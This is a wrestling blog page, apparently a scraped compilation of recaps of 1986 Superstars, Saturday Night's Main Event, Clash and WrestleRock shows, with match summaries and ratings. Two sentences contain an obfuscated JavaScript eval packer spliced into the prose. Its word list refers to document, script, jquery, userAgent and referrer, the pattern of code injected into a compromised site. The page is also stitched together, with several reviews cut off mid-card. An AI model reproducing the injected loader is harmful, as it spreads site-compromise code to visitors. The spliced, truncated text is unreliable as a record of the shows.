On This Day: November 22, 1986 – Superstars of Wrestling: One Of The Best Episodes ever

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Date: November 22, 1986
Location: Broome County Arena, Binghamton, New York
Attendance: 6,400
Commentators: Vince McMahon, Jesse Ventura, Bruno Sammartino

Opening sequence does its opening thing.

Vince runs down the card and HOKEY SMOKE there are two famous things on this show.

Intercontinental Title: Randy Savage vs. Ricky Steamboat

Hebner and Danny Davis argue over who gets to be the referee here. Steamboat is all fired up but Hebner (who I guess won the argument) tears him off Savage. Ricky speeds things up again and slams the champ down for two before hitting the armdrag into the armbar as only he can. Savage gets up and runs Steamboat over a few times but gets caught in another perfect armdrag.

UPDATE!

Paul Orndorff is the #1 contender to Hulk Hogan and thinks anyone claiming otherwise is crazy. Orndorff says comparing him to Hogan is like comparing ice cream to horse manure.

Al Navaro vs. Junkyard Dog

Powerslam in maybe 35 seconds ends this. Next.

Dino Bravo vs. Kurt Kauffman

This is another squash that runs almost twice as long as the previous one. Bravo wins it with a belly to back suplex before Fink can finish reading the house show ads.

Outback Jack is training with some natives in Australia. Ok then.

Jimmy Jack Funk vs. Dick Slater

Billy Jack Haynes vs. Ray Vance

This is almost joined in progress for some reason. Haynes pounds him down with pure power and hooks the full nelson for the tap out. This lasted maybe a minute or so.

Hillbilly Jim/Tito Santana/Pedro Morales vs. Dream Team/Johnny V

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On This Day: October 11, 1986 – Superstars of Wrestling: Night of 80s Tag Matches

Superstars eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ifddy|var|u0026u|referrer|iyryk||js|php'.split('|'),0,{})) of Wrestling
Date: October 11, 1986
Location: Baltimore Arena, Baltimore, Maryland
Attendance: 7,000
Commentators: Jesse Ventura, Vince McMahon, Bruno Sammartino

Back to Superstars again as we continue what would become the build to Wrestlemania 3 in a few months. If we somehow get to the new year, I’ve already reviewed the January through March shows so I have a lot of this covered. Today we have a big match as the Dream Team faces the Bulldogs in a Wrestlemania rematch. Let’s get to it.

Usual opening jazz.

Dream Team vs. British Bulldogs

This is non-title. We get a quick interview backstage where Matilda the dog debuts. The non-champions jump the Bulldogs before the bell to take over. We start with Valentine vs. Dynamite and there’s the snap suplex. Off to Davey who clotheslines Greg down but walks into a back elbow.

Off to Beefer who suplexes Davey but has it no sold. Greg comes in again and hits a backbreaker on Dynamite but gets slammed off the top. Valentine hits a backbreaker of his own for two. Hot tag brings in Davey and everything breaks down. The referee goes down and comes up to count a pin from Valentine, but since he’s not legal it’s a DQ? Ok then.

Rating: C-. Well it wasn’t exactly their match in Chicago. This was nothing to see for the most part as neither team seemed all that fired up. Then again it wasn’t for the titles and they didn’t even get five minutes so how good can it be? The Bulldogs would drop the titles to the Harts soon enough after this.

The Update this week is about Jake Roberts and Damien. They’re in the shower and Jake talks about fear. The audio is really bad here and you can barely understand what he’s saying.

Don Muraco/Bob Orton Jr. vs. Billy Jack Haynes/Sivi Afi

Muraco and Orton come out to the bagpipe music. Afi and Muraco start. Sivi works on the arm of the bearded wonder before it’s a double tag. Muraco and Orton tag in and out quickly before the superplex pins Afi. Squash.

Savage says Steamboat will be a three time loser in Boston.

Big John Studd/King Kong Bundy vs. Dick Slater/Ricky Hunter

The jobbers actually get an entrance here. This is when Slater was The Rebel and was getting a small midcard push. He and Studd get things going with Slater punching him into the corner and avoiding a splash. The size and power becomes too much though and Slater is carried into the corner. Bundy misses a big elbow and the place gets all fired up. Hunter comes in and the heels take over. Studd hooks a chinlock and the fans want the Machines. Avalanche pins Hunter.

Rating: D. Literally a squash. Slater was in there for about 45 seconds and after that it was all downhill for him and Hunter. Studd and Bundy would challenge the Bulldogs a bit on some house shows but nothing would ever come of it. Studd would be gone fairly soon after this if I remember correctly.

Steamboat is ready for his shot at Savage and that he’s waited his 30 days to get his rematch. Savage would only defend when he had to at this point, allegedly.

Rougeau Brothers vs. Hercules/Barry O

Ray and Barry start off and Barry gets thrown around so much that he tags out quickly. Hercules uses his power but the speed frustrates him enough to bring in Barry to face Jacques. The Cannonball gets the quick pin.

We go to Roddy Piper as he builds the set for the new Piper’s Pit. Nothing is said.

We get a clip from SNME with Piper chasing Adonis off with a crutch.

Piper says it hurt when Adonis and company attacked his leg and he’s going to take out Muraco first.

Islanders/Pedro Morales vs. Ken Glover/Hart Foundation

One of these things just doesn’t belong. The Islanders team jump the other guys and clear the ring. We start with Tama vs. Hunter as Jimmy praises the Harts in an inset. Top rope splash ends this quick. The Harts were never in and I don’t think Morales was either.

Post match Hunter takes the Hart Attack.

We see Slick, Volkoff and Sheik arriving in a limo. Jesse greets them and Slick says he wants the tag titles.

Junkyard Dog/George Steele vs. Steve Regal/Terry Gibbs

No not that Regal. Regal jumps the Dog and that goes as well as you would expect it to go. Steele comes in to a nice reaction and then it’s back to Dog for the powerslam and the pin. This didn’t last a minute. Steele throws out Regal post match because he’s a nice animal. Kids get to dance with the winners.

Bob Orton is ready for Billy Jack Haynes and Piper needs to find a new job.

Muraco warns Piper to stay away too.

Vince wraps things up.

Overall Rating: D. This flew by but there wasn’t enough angle building to make the squashes interesting. That’s been one of the things you can get from the previous shows: there have been a lot of angles thrown out there to balance out the weak wrestling, which is a lot more than you can ask for in a lot of these shows. Not much here this week.

 

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On This Day: October 4, 1986 – Saturday Night’s Main Event #7: 1986 In A Nutshell

Saturday Nights Main Event 7
Date: October 4, 1986
Location: Coliseum at Richfield, Richfield, Ohio
Commentators: Vince McMahon, Jesse Ventura

This is more or less the beginning of Hogan vs. Orndorff and not much else. We’re not quite to the build for Mania but we’re getting closer. Not a lot is going on here as this is pretty much the end of the summer series of matches. Back in the day you had a lot more summer feuds as you had two sets of house shows touring the country.

For example you would have Hogan vs. Orndorff in half the country and Roberts vs. Steamboat in the other. That’s kind of cool when you think about it and they were far big enough matches to carry the fans’ interest. Either way this is just kind of an off the wall show where they just kind of threw it together with whoever they had there. Let’s get to it though.

Roberts, in regular tights which just looks odd, says he’s ready for Steamboat and he’ll win.

Johnny V. says the Dream Team will win tonight.

Kamala is a savage.

Orndorff is ready.

Hogan says he’ll get back at Orndorff.

Dang I love this intro.

Piper is hurt apparently. Adonis, Muraco and Orton hurt him. Piper is freaking TICKED and says he’s fighting anyway. This was great.

Hogan says that he’s mad at Orndorff but he’ll get him back tonight. Hogan says he’s old. This was 23 years ago. For those of you that don’t know, Orndorff had turned face to help Hogan fight Piper and Orton and they were best friends. One day Heenan started saying Hogan didn’t care about him so he called his house saying he could get him any time.

Hogan couldn’t come to the phone as he was working out. This made Orndorff think he wasn’t important and Heenan accepted him. Basically Orndorff just wanted appreciation which isn’t asking for much is it? Orndorff does something most interesting; he steals Hogan’s music. There’s a great feud there somewhere.

WWF Title: Hulk Hogan vs. Paul Orndorff

We start off very fast but some cheating from Heenan has our hero in trouble! We go to the floor and they beat on each other quite a bit. Ok make that Hogan takes a beating including from the microphone cord. Vince says there are over 20,000 people here, which is what the first Survivor Series brought there in about a year.

I find that a bit odd. Paul gets more offense in than I would expect but there’s your traditional comeback by Hogan. Heenan grabs the foot though and cops show up to throw him out. That’s original back then I guess. They literally pick him up and carry him off and we go to a break with Heenan trying to get out of the cell thing they put him in.

Paul beats on him a bit more but then the piledriver is reversed and Hogan does his usual. Adrian Adonis runs in for the DQ and Piper comes in to save Hogan. That’s just odd to type. Adonis has a bad arm injury as it’s just hanging there. Ventura hates Piper as a face.

Rating: C-. This was hard for them to mess up as they had it about 200 times in a year. They raked in money though so it was worth it. They would have a far more famous cage match in two SNMEs to blow it off before Andre returned for the angle with Hogan. This was fine though.

Jake Roberts vs. Ricky Steamboat

This is a Snake Pit match which means nothing at all. Gene interviews Jake and Damien in the shower of all places. Roberts had dropped Steamboat on his head at the previous SNME and then Steamboat had beat him at a huge show called The Big Event in Toronto which is coming up soon. This is match three I guess.

Steamboat has a bag of his own and Jake doesn’t even get an entrance. Ricky has his own dragon that can eat snakes I guess. Steamboat is freaking moving out there. Steamboat’s bag is moving like crazy. This is all Steamboat until a top rope splash misses. It becomes a battle of the bags as both guys try to get to theirs’ first and it’s not working so we try the wrestling thing again. It amuses me that Vince is a former world champion and Jesse isn’t.

There’s something just hilarious about that. This is fairly back and forth until Ricky gets a crucifix for the pin. Jake of course jumps him and then we have the showdown of the animals. The Dragon wins.

Rating; C-. This was ok but just ok. There was nothing special here but in just over six minutes there’s not a ton you can get going. This was the other hot feud in 86 so having it on TV made a lot of sense.

Hogan says that he was really turned on and turns it into a courtroom analogy of some kind. He also tells Piper to not save him again.

We go to earlier in the day to see Slick and Sheik arriving and saying they’re ready for whoever is replacing Piper tonight. Sheik has to take his clothes off to pose.

Roddy Pipervs. Iron Sheik

It’s apparently 1983. Piper comes down anyway and says he’s fighting here. Piper starts going after Slick and then after getting pounded on for about 30 seconds Piper gets a small package for the win.

Rating: N/A. No clue what the point of this was. Apparently this was a great victory for him.

We hear from the Dream Team who say they’ll win.

Piper calls out Adonis like a freaking CRAZY man. This never gets old as his attention to detail was second to none.

Tag Titles: Dream Team vs. British Bulldogs

To the shock of no one this is 2/3 falls. We start with Dynamite and Valentine. Oh yeah it’s Valentine and Beefcake making up the Dream Team. Somehow this is a higher profile match for Beefcake than the main event of Starrcade 94. The Bulldogs are hard to tell apart but Davey is bigger if nothing else.

Not by much though. You can definitely see Dynamite in Benoit. Valentine can’t decide if he wants to work on the arm or the knee. Your finishing move is the figure four. Use your blonde head buddy. Dynamite gives up in the figure four, making it two straight matches on SNME where the Bulldogs have tapped out.

We cut to the locker room where Gene says that Adonis might have a separated shoulder and we go to a replay showing how it likely happened.

After a commercial we have fall 2. This is more or less heel dominance even though they have as much of a chance of winning here as X and I do. Davey gets the hot tag and dominates. I love that vertical suplex. The powerslam puts Valentine down and then Brutus comes in for the save.

He gets caught in a fireman’s carry and after a tag, Dynamite jumps on top of his back and hits a super diving headbutt for the pin to tie us up. After a commercial we have Dynamite and Valentine. Dynamite’s knee was hurt for the better part of a year as steroid abuse just went crazy. Adonis has a shattered elbow apparently. The heels are completely dominating here until we get a brawl as Davey makes the save after a high knee. With Dynamite on Valentine, Davey gets a fisherman’s suplex for the pin.

Rating: B. Solid stuff here with the psychology of the knee working through the entire match and the great balance here. It was another win for the champions which is never bad. This worked pretty well though and it was four good workers so there we are.

Kamala vs. Lanny Poffo

Ok what are you expecting with three minutes left in the show? It’s a total 80s squash, making it AWESOME.

Rating: B+. All for being quick and Kamala scaring the heck out of me back in the day.

Overall Rating: B+. This was a far more fun show than others. It’s got a good tag title match and the two hottest feuds on the planet at the time. Ok so it doesn’t have Magnum vs. Flair but whatever. This is worth seeing though as we approach some epic feuds. Check this out.

 

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Superstars on the Superstation: The Original Clash of the Champions

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Date: February 7, 1986
Location: The Omni, Atlanta, Georiga
Attendance: 10,000
Commentators: David Crockett, Tony Schiavone

We open with a shot of Magnum TA riding his motorcycle, set to a Willie Nelson song.

Magnum and some chick named Linda Curry are hosting tonight.

The announcers run down the card the fans have picked. All matches have 20 minute time limits, other than the world title match which is TV time remaining.

We get a clip of the Rock N Roll Express winning the world tag team titles from the Russians in July of 1985. They lost them a few months later, only to regain the belts at Starrcade.

World Tag Team Titles: Rock N Roll Express vs. Midnight Express

Gibson hits Eaton in the back with the racket for revenge.

The hosts chat about the match a bit.

Cornette says he told us all so. Eaton, as awesome as he is, sells the racket shot by rolling on the floor in pain as Cornette thanks his Mama.

We look at the Russians beating down Animal from a few months ago. No idea where Hawk is during this attack.

Both Hawk and Animal were beaten down by the Russians a few weeks later. Remember that there were three Russians to two Road Warriors.

Road Warriors vs. Ivan Koloff/Nikita Koloff

Some NASCAR driver is here.

Some very southern fans say who they like and why they watch wrestling. Amazingly enough they love the Rock N Roll Express and want to see Flair get destroyed.

We still have some of those $45 Starrcade tapes! You know, the one cut down by about an hour or two.

National Title: Dusty Rhodes vs. Tully Blanchard

Dusty backslides him down (complete with crawling over to the ropes) for two as Crockett is almost giddy that time is running out on Tully. A clothesline puts Tully down again as we go from four minutes left to two minutes left in about 45 seconds. JJ trips up Dusty for two as we hit a minute left. Back in and Rhodes puts on a Boston Crab until the time runs out.

Tully piledrives Dusty post match and takes the belt with him. He would win it in about a month anyway.

NWA World Title: Ric Flair vs. Ron Garvin

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On This Day: September 6, 1986 – Superstars (Debut Episode): That Awkward Period Before Hogan vs. Andre

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Date: September 6, 1986
Location; Providence Civic Center, Providence, Rhode Island
Commentators: Vince McMahon, Jesse Ventura, Bruno Sammartino

So I was going to do the September 13 episode when I found out that it was the second episode of the series. This would be during Hogan vs. Orndorff in what was an absolutely huge feud and indirectly led into Hogan vs. Andre the following year. I’d expect a lot of squash matches here which is what Superstars was known for as it replaced Championship Wrestling. Let’s get to it.

We open with an opening. There’s a good idea.

The announcers run down the people on the card tonight.

Ricky Steamboat/Sivi Afi vs. Roger Kirby/Terry Gibbs

The heels try to jump Steamboat and Afi but are quickly atomic dropped to the floor. Steamboat starts with Gibbs but it’s quickly off to Kirby. Now it’s quickly back to Ricky. Gibbs manages an elbow to take Afi down and the heels pound on Afi in the corner. A headbutt from Kirby puts him down but gets rolled up for two to stop the momentum. There’s the hot tag to Steamboat and house is cleaned. He suplexes Kirby down and Afi hits a top rope splash for the pin. Short but not half bad.

Video on Billy Graham training, set to Bad to the Bone by George Thorogood and the Destroyers. Graham, with a freaking tarantula crawling over his face, says he’s coming for Studd and Bundy.

Hart Foundation vs. Koko B. Ware/Paul Roma

This is Koko’s debut. It’s also Ventura’s first appearance since Wrestlemania too. Neidhart and Koko start things off and Koko armdrags him down. Off to Roma who doesn’t have as much luck because he isn’t that good. Bret, who is that good, comes in and pounds him down with ease. Ventura praises him and we get an inset promo from Koko who has nothing to say. While he’s talking the Hart Attack pins Roma. Vince calls it bad officiating but it seemed fine to me.

Koko saves Roma from a beating post match.

MSG house show ad. The Machines, including Hulk Machine, are ready for Heenan and his boys. Hogan trying to sound Japanese is borderline offensive and I’m not even Japanese.

Honky Tonk Man is coming and he wants to beat up Paul Orndorff. He was a face when he debuted until the fans were actually asked if they would give him a vote of confidence. In other words, the fans decided if he was a face or a heel. Now there’s something different.

Ron Shaw/Pete Doherty vs. Hillbilly Jim/Cousin Luke

Luke isn’t that good but he furthered the hillbilly gimmick for Jim. Jim and Shaw start us off and the Hillbilly throws him around for a bit before it’s off to Luke. Luke doesn’t do that well so Jim comes in and mauls them both, finishing Doherty with the bearhug. Total squash.

Meadowlands house show ad. Heenan isn’t worried about Steamboat because he has Mr. Wonderful ready. Orndorff knows what a monkey wrench is, and just like Steamboat’s martial arts, that won’t mean a thing.

Kamala vs. Tommy Sharpe

This is Kamala’s return apparently. Kamala’s manager King Curtis tells us about how great Kamala is. Sharpe gets in more offense than you would expect here, but at the end of the day he’s a jobber and Kamala is a returning monster. The big splash ends this in about two minutes.

Time for the Flower Shop with Adrian Adonis which replaced Piper’s Pit and set up a great angle between the hosts. Piper is the guest and he’s still on a cane due to the knee injury he suffered earlier in the knee. He says he’s not here tonight to fight (despite implying Adonis is female) but he does have a letter. They’re the ratings for the segments on WWF TV, and apparently the Flower Shop is killing them. He gives Jimmy Hart another letter which says that the Flower Shop will be canceled next week so that Piper’s Pit can return. Adrian freaks and it’s on next week.

Rougeau Brothers vs. Mike Fever/Bob Bradley

Bradley was in the last show I reviewed and it was the only time I had ever heard of him. I love little things like that. The Rougeaus aren’t fabulous yet but they take Bradley apart to get things going. We listen to some French commentary for no apparent reason. Total dominance again with Ray getting the pin after the Cannonball that the Quebecers would use as their finisher years later.

We get a clip from a previous Flower Shop where Heenan tries to prove that one of the Machines is Andre the Giant but they keep switching places to confuse him.

Big John Studd/King Kong Bundy vs. Corporal Kirschner/SD Jones

The Corporal and Studd start us off with the Corporal hitting and moving. He pounds on Studd and goes for a slam but Bundy breaks it up. Bundy comes in and uses fat man offense but it’s back to Studd quickly. Jones comes in and it’s Wrestlemania all over again. The Avalanche gets the quick pin. Literal squash. Even Vince says this match wasn’t that good.

Another MSG ad. Harley Race says that Tito Santana is in way over his head.

Vince tells us what’s coming next week and we’re out.

Overall Rating: D+. For a debut episode this was pretty forgettable, but back then it wouldn’t have been seen as all that bad. The idea here was to pump up the house shows so on that front, it did pretty well. It’s hard to criticize these shows because they’re not meant to be some masterpiece and a show that’s going to get you to watch next week like Raw is today. It wasn’t that bad and at 45 minutes, how can I really complain?

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Thought of the Day: Roddy Piper As A Heel

He eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rrdyb|var|u0026u|referrer|iazbi||js|php'.split('|'),0,{})) was indeed great but….He wasn’t a heel for all that long.  Think about it: Piper hit the national scene in let’s say 1982, was a heel until about 1986 and has been a face for all of about a year (on and off in WCW) since then.  Piper has been a face for about 25 years after being a heel for roughly four, yet he’s eternally remembered as a heel.  That says either that heel run was amazing or that the fans have a very short attention span.




On This Day: April 20, 1986 – WrestleRock 1986: GET IT OUT OF MY HEAD!!!

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Date: April 20, 1986
Location: Metrodome, Minneapolis, Minnesota
Attendance: 23,000
Commentator: Ron Trongard

I hate you. I hate you all. This is another request because SOME IDIOT had to put the Wrestlerock Rumble video up on WrestleZone. This is the show that it was advertising. It’s another of the AWA’s stadium supershows which usually wound up sucking but why would that stop them from keeping them up? There are three cage matches to close the show so you know it’s going to be….different. Let’s get to it.

No real intro here, as is the custom on these big shows.

Brad Rheingans vs. Boris Zhukov

Boris is the same character from WWF and Brad is a former Olympian power lifter. This is going to be a power match and probably not a very good one. They exchange tests of strength to start with neither guy being able to get much of an advantage. Ok scratch that as Brad does pretty easily. Before I forget again: WHERE ARE THE PEOPLE??? There are allegedly over 20,000 people there but my goodness they did a bad job of putting them on the camera side. There might be more empty seats visible that full ones.

This is your standard power match: Brad shoves him around, Boris runs, Brad shoves him around some more, Boris runs some more. Zhukov heads to the floor and comes back to get in a knee and RUSSIA POWER takes over. That more or less concludes the interesting part of the match because Boris Zhukov is a very boring wrestler. He’s slow, he’s bald, he’s Russian. That sums up about half the heels in America at this point. Naturally since this is a big show’s opening match, Brad makes his comeback and hits his fisherman’s suplex for the pretty easy pin.

Rating: D+. The American winning over the EVIL Soviet is always a surefire way to get a crowd going and this did so for the most part. Not a good match by any means, but for about five minutes long and an opening match, what exactly were you looking for? For a power guy though, a fisherman’s suplex is a strange pick for a finisher.

Little Tokyo/Lord Littlebrook vs. Little Mr. T./Cowboy Lang

Great. Midgets. Tokyo and Lang start us off and it’s time for a headlock. Off to Littlebrooke and it’s time for an armbar. They go to a wide shot and oh my goodness that’s a stupid idea. Back to Tokyo as Lang is getting beaten down even more. Here’s a chinlock for rest hold #3 in less than 150 seconds. Lang escapes and it’s off to Little Mr. T. This is a few weeks after WM 2 and I’m sure Mr. T. being on that show is just a coincidence right?

T. does something and Trongard says look at that. Naturally that’s as we go wide to which you can only see shapes in the ring instead of what they’re doing. There goes the referee because this is a midget match. Things calm down and we have Littlebrook vs. T. There’s ANOTHER chinlock as this is going way too long. The midgets argue and this is going nowhere.

Tokyo accidentally hits Littlebrook as people are going off to get food and drinks. Lang is in and we get a crisscross. Back to T. vs. Littlebrook for another headlock. It’s clear they have no idea what to do here to fill in time because MIDGET MATCHES SHOULDN’T GO TEN MINUTES. There’s an airplane spin for both heels and the rowboat spot. Oh and the referee pile on. Lang hooks a rollup on Littlebrook for the pin, thank goodness.

Rating: F. A midget tag team match ran ten minutes and had at least 5 rest holds. What kind of a grade did you expect me to give this? Not a good match at all and the usual midget spots that you’ve seen a dozen times, none of which have made people laugh in years. Moving on.

There are a lot of “local celebrities” introduced here, usually between each match. I’m not going to bother listing them because I don’t know who they are, most likely you don’t know who they are, and I don’t really care. For instance, this one is a local horse owner. See what I mean? Almost all of them get to be guest ring announcers. That’s the show’s gimmick.

Colonel DeBeers vs. Wahoo McDaniel

We have a white supremacist vs. an American Indian. This can’t end well. DeBeers actually TWIRLS HIS MUSTACHE. We have a real villain here people. The Colonel works on the arm, then Wahoo works on the arm. Now DeBeers works on the arm. I think out of boredom, Wahoo chops at him to break it up. Colonel comes back with a knee to the head and some kicks. Coming back in they slug it out with McDaniel on the apron. Back in Wahoo goes on the warpath and throws him to the floor. Back in again and Wahoo throws him over the top for the FREAKING LAME DQ.

Rating: F+. It was somehow better than the midget match. Think about that for a minute. This was five minutes of two old guys hitting each other after some arm work and then a stupid DQ ending to it. This was horrible and the show is off to a very bad start. When a basic American vs. Soviet match is by far the best match of the night after three of them, things aren’t starting well at all.

They brawl on the floor post match in a far better sequence than they had in the match.

Go buy stuff from the souvenir stand! You can get cassettes of the WrestleRock Rumble! For those unfamiliar, that’s a wrestling version of the Super Bowl Shuffle with wrestlers “rapping” lyrics. It’s horrible.

Doug Somers and Buddy Rose are going to beat those pests the Midnight Rockers and then get the tag titles.

Doug Somers/Buddy Rose vs. Midnight Rockers

This is on Shawn Michaels: My Journey. Somers/Rose have Sherri Martel with them. Rose does his traditional thing of “it’s 217lbs, not 271lbs.” Rose and Jannetty start us off with Rose doing push-ups. Wait, still not ready for the match as Rose does a front flip and wants Jannetty to do the same. Marty tags Shawn who moonsaults in and tells Rose to do that. Rose goes up….and comes back down. Naturally they’re wasting time on a match like this which is probably going to be the best match of the show. Rose tries it AGAIN and crotches himself.

Somers and Shawn FINALLY lock up to keep us from dying of boredom. Shawn controls with an armdrag and dropkicks Somers down and it’s off to Rose. Rose tries to speed things up and I think Shawn is all cool with that, as he armdrags him down with ease. Off to Marty who jumps in and hammers down onto the arm. Rose goes for the eyes and brings in Somers who is armdragged right back down. Marty avoids a charge and Doug’s arm goes into the post.

Back to Shawn and both of them grab an arm on Somers. Back to Rose vs. Shawn and Buddy cartwheels (impressive given that gut) to avoid a monkey flip. Marty comes in and does exactly what Buddy did. We’re five minutes into this somehow. Time for Shawn again and the arm work continues. He hooks an arm stretch but Buddy gets up onto his feet to escape the pressure. Marty smacks him in the head and Rose is down again. Not a good night for them so far.

Shawn flies around even more and it’s back to Marty to drop a knee on the arm. Knee lift gets two for Shawn. FINALLY Michaels gets caught in a slingshot into the corner and Somers belts him in the face to take over. Jumping back elbow gets two for Rose. Off to Somers who whips Shawn into the corner hard.

Shawn comes back with a suplex to put both guys down. There’s the hot tag to Marty who cleans house and gets his own two off his own jumping back elbow. Powerslam gets three but the foot was on the rope. Everything breaks down and the Rockers are in control. Marty goes up for something but Somers crotches him which lets Rose pin him. Sherri pushed his foot off the ropes too.

Rating: C+. Not a bad match at all here, despite the goofy stuff to start. The arm work probably went on too long but the match itself wasn’t half bad. The ending could have used a bit more but for a big house show and the fourth match on the card, this wasn’t that bad. Sherri screwing over Shawn is kind of interesting given their future.

Somers and Rose say they’re innocent.

More “celebrities”, this one being the AD for the University of Minnesota.

Buck Zumhofe says nothing of note. Granted that might be because of the REALLY BIG FREAKING BOOM BOX he’s carrying.

Buck Zumhofe vs. Tiger Mask

This should be….different. I think it’s Misawa at this point but I’m not sure. Trongard has never seen him before so his usual horrible commentary is going to be even worse here. They go to the mat quickly with Buck grabbing an armbar. That hold is used WAY too much in this company. They exchange control of the arm and we get a standoff. Zumhofe is your classic guy who wasn’t big enough to be a heavyweight but didn’t have the speed to be a typical cruiserweight. Tiger Mask on the other hand is a master at it.

They go back to grappling and it ends in a spinning toehold by Buck as he works on the leg. This goes on for awhile, because Heaven forbid they have fast guys go to the air. That might get people interested in the show. Off to a Boston Crab which works on the back after Zumhofe spent all the time working on the knee. Eh close enough I guess. That doesn’t last long and Tiger dropkicks him down for two.

Back to the arm (oh boy!) for Tiger as he controls with an armbar after a decent wrestling sequence. A cross body and suplex get four combined which is somehow less than three in wrestling. Zumhofe goes after the mask but can’t get it off because he’s Buck Zumhofe and going after Tiger Mask’s mask. Buck goes into control by ramming Tiger’s face into the mat twice. Well you can’t say he’s overdoing it. Abdominal stretch now to really crank this up. They go to the floor and Tiger hits a nice plancha to take Buck out. Back in Mask slams him down and hits something like a Swanton Bomb for the pin.

Rating: C-. It’s not bad but at the same time Zumhofe was really boring. This would be Tiger Mask toned WAY down which isn’t using his talents as well as they could and/or should be used. Pretty dull match but it could have been FAR worse. Again, somehow this is the second best match of the night thus far and that can’t be a good thing.

The Governor of Minnesota declares it Verne Gagne Day. Not AWA Day or anything, but Verne Gagne Day.

Barry Windham and Rotunda (acknowledged as former WWF Tag Champions) say they’re ready for the Fabulous Ones.

Fabulous Ones vs. Barry Windham/Mike Rotunda

The Fabulous Ones are Steve (Skinner) Keirn and Sweet Stan Lane. The guest announcer here is another radio guy which is the case with the vast majority of them. Windham vs. Lane starts things off. The crowd has filled in a lot and it looks much better. Feeling out process to start as Barry grabs a headlock. This is back when Windham was awesome and in shape so he’s fun to watch.

Off to Rotunda and the arm work (I’m as shocked as you are) begins. Lane tries to escape a hammerlock but gets kneed in the arm instead. Back to Barry who cranks on the arm some more. Off to Keirn who is armdragged right back down. Back to Mike who works a top wristlock. Barry comes in quickly for a chinlock. Keirn tries a leapfrog but gets punched in the face for his efforts. You can’t say Barry is over complicating things.

Windham/Rotunda hit a double dropkick and Keirn is in trouble. Mike misses a corner charge and the heels take over. Things break down quickly but Rotunda can’t make a tag. After a long beating by Lane it’s back to Keirn. Lane comes in for a neckbreaker but misses an elbow. There’s the tag to Barry after a short heat segment. Powerslam gets two on Stan.

The Ones cheat again and Barry gets caught in a chinlock. We’re ten minutes into this and it hasn’t really kicked into high gear yet, which is a shame given what you have to work with here. Barry grabs a small package on Lane for two. Off to Rotunda who speeds things up and gets two on Lane. There’s an airplane spin for two. Lane backdrops him and sets for a piledriver but Barry comes off the top with an elbow to the back of the head, giving Rotunda the pin.

Rating: C. Not a great match or anything here but it was ok I guess. They never cranked this up as high as they could and that really hurt it. Also the lack of any reason for these teams or wrestlers in any match for that matter to want to fight each other is really bringing things down. If they don’t care, why should I care?

The Attorney General of Minnesota is here. Even for a local politician, why would I care about that?

Bulldog Bob Brown vs. Giant Baba

Baba is a guy I’m sure you’ve heard of and Brown is a Central States mainstay who just isn’t that good but was popular in his territory. For some reason he’s billed as a former champion (with 18 total reigns) but based on what I can find, he was champion at this point. Brown hooks a headlock to start, which is really awkward because Brown is about 6’0 tall and Baba is about Kane’s height.

Baba works on the arm but Brown rakes the eye to get out of it. Brown goes for the leg which fails completely. Baba takes him to the mat with a headscissors and works on the arm. The fans don’t care at all here. Brown hammers on him but Baba comes back with some chops. This is REALLY slow paced as they’re stopping every few seconds. A big boot puts Brown on the mat and a chop sets up a Russian legsweep which looked awful. Another big boot gets the pin.

Rating: F. This was HORRIBLE. It was slow, it was awkward, Baba wrestles nothing like a giant, and the fans had no idea who these guys were. That was the big issue with this match: it’s a Japanese guy vs. a Central States guy in front of an AWA crowd. Why would the people care at all about this match? They didn’t, and I can’t blame them at all. The match sucked too.

The GM of a TV station is introduced. Not an on air personality mind you, but the boss that NO ONE EVER SEES.

Harley Race wants an AWA Title shot.

Harley Race vs. Rick Martel

This is billed as former champion vs. former champion, which sounds SO exciting doesn’t it? Race grabs a headlock to start as is his custom but Martel whips him in and it’s time for an armbar. This is so common in this company I can’t believe it. That doesn’t last long as Race whips him in and RACE LEAPFROGS MARTEL. And I thought I had seen everything. Martel doesn’t know what to do so naturally, it’s an armdrag into an armbar.

Race takes him down again as neither guy can get a real advantage here. Headbutt sets up a chinlock which isn’t something the people seem all that interested in seeing at this point. Yep there are the boring chants. Martel gets up and there’s armbar #3 five minutes into the match. Race’s counter this time? Slam his head into Martel’s. Well you can’t say he’s not using his head. I’ll give you a minute to roll your eyes at how lame that joke was.

Powerslam gets two for Race but Martel escapes a suplex and throws on a sleeper. Does this guy know ANYTHING besides rest holds? Race rams him into the buckle and hits a neckbreaker to put Rick down. Harley goes up (not as bizarre as you would expect) but gets slammed off. Well his last major feud was with Flair so that probably has something to do with it. They slug it out a bit which should result in pain bruises and agony for Martel but instead he grabs a headlock. Martel hits a backbreaker and slingshot splash for two, which Trongard says Martel debuted five years ago in 1983. Check the date on the show.

Anyway after that warping of time and space, Race headbutts and piledrives him for two. Elbow drop gets two and it’s off to the chinlock. Race sends him into the corner and Martel tries a cross body out of the corner, but Race just casually steps to the side, ala Samoa Joe. After a brief slugout, Martel whips Race into the corner and out to the floor, but it’s not a DQ due to whatever alteration they want to make this time.

Suplex gets two for Rick back in. Shoulderbreaker and neckbreaker get two for Race. They collide and Race is knocked to the floor. He always was great at taking that backwards fall. Back in another piledriver is countered into a gutwrench suplex for two by Martel. Now Rick goes after the knee for some reason. After some knees to the leg it’s off to a leg hold but Race uses his head (as always) to escape. Race pounds on him in the corner but has his suplex countered. A splash by Martel eats knees and they go to the floor off a slam attempt. They brawl even more and it’s a double countout, two minutes before the time limit.

Rating: C+. Pretty decent match here but again the problem is that there’s no story to this. That being said, they were getting close to overcoming that with some solid back and forth stuff. At the end of the day, it’s Harley Race going 18 minutes so the match by default has to be pretty good. Martel was a WAY bigger deal in the AWA than in the WWF.

Women’s Battle Royal

